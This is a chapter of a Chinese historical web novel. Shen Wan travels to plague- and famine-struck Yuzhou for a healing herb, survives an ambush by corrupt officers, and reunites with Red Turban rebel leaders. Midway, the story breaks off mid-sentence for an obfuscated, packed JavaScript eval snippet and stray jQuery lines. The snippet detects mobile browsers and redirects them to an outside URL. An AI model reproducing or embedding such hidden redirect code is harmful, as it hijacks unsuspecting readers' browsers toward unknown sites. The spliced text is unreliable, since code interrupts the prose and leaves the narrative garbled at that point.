古伊顿和沈绾赶到时，老军医正在帐外煎药。


    “治病的方子，有了？”古伊顿连呼带喘，圆润的脸上难掩喜色。


    老医师拈了撮草药，神色熠熠，“我仔细研究了这枚香囊，发现里面的草药搭配得很是精妙，对清热散寒，健体驱毒有奇效。其中这味五竹草，是这副药方里最关键的部分，老夫已经试过了，只要再添上其他几味药材，正好可解这场疫病。”


    “真是太好了，太好了！天神庇佑！”古伊顿差点喜极而泣，双手覆于胸前，仰头不住祷告。


    “只是……”


    “怎么？”古伊顿见对方眸光一沉，刚才还激动不已的心脏不由一滞，“老兄有话直说。”


    老军医直言不讳：“我方才问过了，你商队里的五竹草存量不多，要治疗这里的所有人，这些存货还远远不够。”


    “这……”古伊顿语凝，他忧心了这些时日，却没有想到，最后竟会在药材上出问题。


    “据老夫所知，这种草药大多生长在中原的西南地区，想必你也是从那里运回来的吧？”


    “不错，”古伊顿面色凝重，“实不相瞒，若不是突发意外，在今年入冬之前，我本打算带着商队再去中原跑一趟货，可眼下商队里损兵折将，我……”


    “我去吧！”一直在旁沉默的沈绾抬起眼，上前半步，“让我跑一趟西南，把草药带回来。”


    一言出，众人讶异的目光纷纷投来。


    沈绾知道众人心中存疑，正色道：“商队离不开古老板，眼下也没有其他合适人选，我只要伪装成药商，没有人会起疑。”


    “可是……此去千里，不知要费多少时日……”古伊顿不住搓手犹疑道。


    的确，若是花费上一两个月，到时是什么光景也就难料了。


    “七日，”老军医眸色定定，“老夫竭尽所能，也只能维持七日时间，所以此行务必早去早回。”


    “七日……这……”古伊顿的眉头快要拧出花，“西桓距西南千里之遥，而且又要寻药，七日之内如何来及？”


    “来得及，”沈绾神情坚毅，定定道，“若是汗血马，七日，足矣。”


    古伊顿恍然，这才想起沈绾前不久刚驯出一批大宛良驹，心中定了定神，道：“也罢，既然姑娘执意如此，我就先代大家拜谢，此行我会派几名骑手护你周全，务必早去早回，注意安全！”


    **


    当晚，沈绾一行马不停蹄，直奔西南。


    因有着胡商这层身份作掩饰，一路上倒也没遇上什么绊子，只是每过一座城池，通缉栏上的画像还是免不住让她心里发毛。


    三日后，一行人来到渝州城下，奇怪的是，城门守卫原本懒懒散散倚在墙角，可一见外人进城，立马像打了鸡血，态度强硬到说什么也不让进。


    可这世上极少有银子解决不了的难题，在沈绾软磨硬泡又挨个塞了不少银两后，几位见钱眼开的兵官终于大发慈悲放行。


    可刚一进城，眼前触目惊心的景象让人不由一颤。


    黑压压的铅云在天边你推我搡，擦出几声闷雷，破败灰沉的街道两边横七竖八倒满了衣衫褴褛的百姓，他们有的面黄色蜡黄，有的肿胀虚白，还有的裸着身子，一双双病怏怏的眼无神地瞅着天空。


    四周静得可怕，只有苍蝇不厌其烦地在废臭污秽间盘旋。


    一个老头不住在身上掏着什么，摸索半晌，竟从身上抓出一只活跳蚤，用两根脏污的手指捏着，就这么麻木地放入口中。


    沈绾被这一幕惊到，强力压住心头恶心，可还没待调整好自己，这支陌生的队伍很快引起注意。


    无数道呆滞的目光齐齐投注而来，像是往死寂湖水中无意投入一粒石块，瞬间激起千层涟漪。


    饥饿、贪婪、疯狂……齐刷刷的视线仿佛一道道钉子，快要将几人捅穿。


    沈绾这才明白，怪不得那些守门兵士反应这么大，原来整个城里皆是奄奄一息的灾民，生机全无，恍如一座死城。


    这般惨绝人寰的景象，他们自然不敢放任何消息出去。


    “姐姐……”一个小女孩拖着一只断脚，缓缓爬到沈绾脚下，“饿……”


    她伸出瘦骨嶙峋的手，小心翼翼扯住沈绾裤脚，黑白分明的眼睛里满是卑微与乞求。


    身后有位伙计于心不忍，正要掏包袱，忽被沈绾一把按住。


    “不能给。”她低声示意。


    这种时候不能心软，她们的食物本就有限，一旦抛出引子引起骚乱，这些难民恐怕能把她们连人带马给活吞了。


    可即便是极微小的动作，也逃不过这些早已饿绿的眼睛。


    “他们有食物！”有人爆出一声吆喝，原本如一滩烂泥的人堆陆续动起，或走或爬，围猎般朝她们聚拢。


    “怎、怎么办？”伙计见状不妙，意识到自己似乎犯了错，连声音都在发抖。


    “大家靠拢，立即上马，找机会冲出去！”沈绾压低声音，以最快速度指挥。


    几人步步后退，可四周的灾民显然已将他们包围。


    一滴冷汗从额角滑过，沈绾不禁想起，当初谢翊面对万千流民，不知可曾这样怕过。


    他们是百姓，不能喊打喊杀，即便是真动起手来，他们人多势众，自己也肯定难以招架；可若是坐以待毙，就只有死路一条。


    眼看围拢越来越近，近到有灾民的手快要触到肩头包袱。


    只听“嗖——”地一声！


    羽箭刺破长空，那只黑黢黢的手还未来及动作，便无力垂了下去。


    沈绾定睛一看，原来一支利箭早已穿透了此人胸口。


    顺着箭镞袭来的方向，视线一凝。


    先前几名守门官兵正得意洋洋站在城楼，其中一个细眉鼠眼，指着沈绾一行道：“大人，就是这几个药商，他们身上可带了不少银钱，瞧那几匹马，卑职方才查问的时候已经偷偷验过，即便涂黑了颜料，可卑职敢用项上人头担保，确实是汗血马无疑。”


    站在中间的首领一身武将装扮，从衣着配饰可以看出，是个拓摩人。


    “好，既然闯进几只肥羊，哪有不宰杀的道理？”


    说着手臂一挥，又是几只羽箭嗖嗖飞过，围在沈绾周围的一圈人瞬间倒成一片。


    “这帮中原人，真是碍事！”领头军官歪嘴轻嗤，目露鄙夷，“来人，把这些商贩通通给我扣下！”


    令出兵动，早有一队官兵手持长枪锐矛，从一侧踏过百姓尸首，汹汹而来。


    人群中散出浓烈恶臭，很快伴着刺鼻的血腥味弥漫开。


    沈绾牵着缰绳的手心一紧，暗暗握住包袱下的长刀，那么多兄弟的命系在她身上，根本没时间耽误！必要时只能殊死一搏！


    那军官话音刚落，耳边蓦然传来一阵轰响。


    “砰——”


    尖鸣的火炮声好似从天际袭来，强烈的震颤穿透墙体，直击城门。


    “不好了！”小兵匆匆来报，“大人，起、起义军，打进来了！”


    “什么！”


    “砰——”又是一声。


    远处天际硝烟滚滚，霎那间，战士的嘶吼声、兵戈声交织激荡，震耳欲聋。


    城门轰然炸开，提剑持刀的战士个个身手敏捷，加之城门不远外立着几门火炮，这些守城官兵立即溃不成军。


    沈绾一行被突如其来的变故惊到，匆匆躲在街角。战火很快漫至城内，街道旁的难民从未见过这般激烈的交战，稍有些力气者拔腿就跑。


    好在这些民兵战士训练有素，并未虐杀百姓，而城里这些尸位素餐的兵混子自然没什么战斗力，一场混战很快结束。


    战火浓烟渐散，旌旗猎猎处，一群高骑战马的队伍气势汹汹驶进城门。


    马背上的战士脖戴红巾，装束整齐，虽不是统一的盔甲，但也能看出一种与官兵截然不同的精气神。


    写着“红巾军”三个大字的旗帜在风中飘扬，沈绾眯了眯眼，发现走在前列的队伍中有一人分外眼熟。


    “将这些官兵全部收押，城中灾民甚多，将随军粮食发放，赈灾安民。”队伍领头人扬手止步，朗声发话。


    沈绾眸光一暗，视线顺着声音望去，倏然一凝。


    眼前人阔面长身，宽肩阔背，体格健硕，只是数月不见，他似乎更瘦更黑了些，刚毅的脸庞添了几许风霜，少了几分不羁野性，更多了几分上位者的威严和沉稳。


    队伍浩浩荡荡穿过街道，路过一处街角，走在正中的首领蓦然勒住缰绳。


    深邃的目光穿过重重烟雾，准确无误锁在沈绾身上。


    原来她方才在掀开捂住口鼻的纱巾时，顺带揭开了脸上半张面具。


    视线交汇的瞬间，沈绾只觉那双原本质朴的眼睛，此刻翻涌着许多复杂难言的情绪。


    惊诧、欣喜、好奇、担忧、思念……各种情绪纷纷交织在眼底。


    “小、小殿……”首领身侧也有人顺着视线望过来，见到沈绾那刻，惊喜奔涌而出，话到嘴边还是被敏锐的警惕性生生截断。


    马蹄阵阵，意气风发的队伍如奔腾的长流驶向城内。


    不多时，有两名小兵小跑过来，拦住众人，其中一位朝沈绾拱了拱手，恭敬道：“姑娘，我家首领有请。”


    **


    起义军占领了总兵府衙，两排将士赫然守列在门口。


    沈绾由小兵一路领着，穿过金碧辉煌的照壁，来到前院大厅。


    刚跨进门槛，先前那人再也按捺不住喜色，就连上前几步都带着风，“小殿下！”


    这世间最令人激动之事莫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281479|171998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过于故人久别重逢，周副将委实没有想到，自那日京都一别，今日竟会在渝州城相见。


    “听到那几声火炮，我就该想到是你们。”沈绾展眉，视线在周副将脸上停留片刻，转而落在正坐在厅堂的另一位。


    “李大哥，别来无恙？”


    向来沉闷寡言的男人站起身，虽是抿着唇，可眼底的炙烈情绪是无论如何也难以掩藏。


    “沈姑娘……安好？”短短五个字，是他无法宣之于口的隐秘情愫。


    “自是一切都好。”沈绾眼睫轻眨，“只是没想到当日送李大哥出城，一转眼，你已经是起义军首领。”


    周副将笑容满面：“当初小殿下连人带信送来黔州，我本以为只是帮忙照顾个人，没想到小殿下竟是为我们这群弟兄物色了一位将领人才！感谢小殿下慧眼，如果没有大山兄弟，哪会有现在的起义军？”


    原来自李大山来到黔州后，很快找到周岭周副将。


    当时，周岭依照沈绾吩咐，以蓟州杨廷忠旧部的名义在西南集结胤人残军，这些人大多是心怀家国的有志之士，一听说是杨总兵旧部，纷纷投靠，凝结力极强。很快，就形成了一小股民间势力。


    西南一带地处山区，自古多匪，即便周岭也想过将山匪势力拉入麾下，可一直难有进展。


    直到李大山加入，他果断对队伍进行整顿，并利用北边朝廷的威胁从中诱导，引得山匪惶惶不可终日，后又大举进攻，与匪寇正面冲突，几番对抗之下从未落下风。


    很快，那些山匪头子意识到，与其势单力薄夹在中间，甚至受拓摩官兵威胁，不如联手合作，或能拼出条生路。


    就这样，一支名为“红巾军”的队伍揭竿而起，很快在西南一带成燎原之势扩散开。


    “说到这，最关键的还是小殿下送来的那枚锦囊。”周岭咂舌，“里面的图纸真是绝无仅有的宝贝，不仅精确画出了这些火炮的模型，还详细写下了弹药制作的原料和比例，我们依照法子制作出来，发现真真是神器！这些火器所向披靡、威风八面，对我们来说真是如虎添翼！”


    沈绾轻笑：“这张模型图纸是家师所赐，后来我仔细研究了一番，在弹药的调配上加以改进，但却没有实操过，今日若不是亲眼所见，我还真没想到它的威力会这么大！”


    “原来小殿下对火药也有研究？”


    “皮毛而已。”


    沈绾疑惑：“你们怎么会来渝州城？”


    周岭叹了口气，解释道：“渝州城四周靠山，土地贫瘠，这饥荒自今年开春就开始了。两月前城外突发水患，百姓无家可归，不少人纷纷往城里涌。可这些拓摩官兵根本不把百姓当人看，不仅不闻不问，还肆意驱赶屠杀，甚至还昧下本就不多的赈灾银。


    你看到的那些灾民，有许多是家住城内的，他们的情况原本没有那么糟糕，可新任的渝州总兵，说是朝中哪位侯爷的亲侄儿，仗着这层关系对城中商户极尽搜刮。


    后来大量流民进城，他们挡也挡不住。开始只是镇压，见镇压不了就杀人，那些商户也起了反抗之心，认为与其将财物粮食被官兵抢去，不如散出去赈济灾民，就这样，外来流民越来越多，城里官兵根本压不住。可城中资源有限，整个灾情越扩越大，事态发展越来越凶，就成了今天这幅样子。”


    说着，啐骂道：“说我们是匪，可他们这些当官的比我们这些所谓的山匪更可怕！大山兄弟认为此刻正是我们攻城的绝佳时机，他们朝廷守不了的城，那就由我们来守。”


    沈绾颔首：“我听说你们准备用军粮赈灾，城中灾民这么多，城外肯定也不少，你们的粮食够吗？”


    李大山终于沉声开口：“我们已经预料到情况，一路从黔州到渝州都安排了运输队，共计六座城池十八家乡镇都可供粮，赈济城里城外，应当足够。”


    “看来红巾军的势力不容小觑，”沈绾见李大山沉稳有度、思虑周全，欢喜道，“士别三日，李大哥这个首领真是令人刮目相看。”


    黝黑的脸庞浮起一丝难以察觉的愉悦。


    “你为何会来渝州？”他问。


    她一身商人打扮，身边跟着的几名随从看着也像异族人，出现在渝州城肯定另有原因。


    “我是前来寻药的。”


    沈绾直奔主题，将西桓发生的事简单讲了一遍，自己只剩下四天时间，务必尽快赶回。


    “五竹草？这东西虽然少见，可这附近一带的山上应当是能找到。”周岭摩挲着下巴。


    “那就派一支队伍帮忙去找，”李大山负手而立，当机立断，“务必在一天之内把草药找齐。”


    “报——”


    三人正商量着，一名小兵火急火燎跑进来，“报首领，不好了！军中有几个兄弟连着口吐白沫，全都晕倒了！”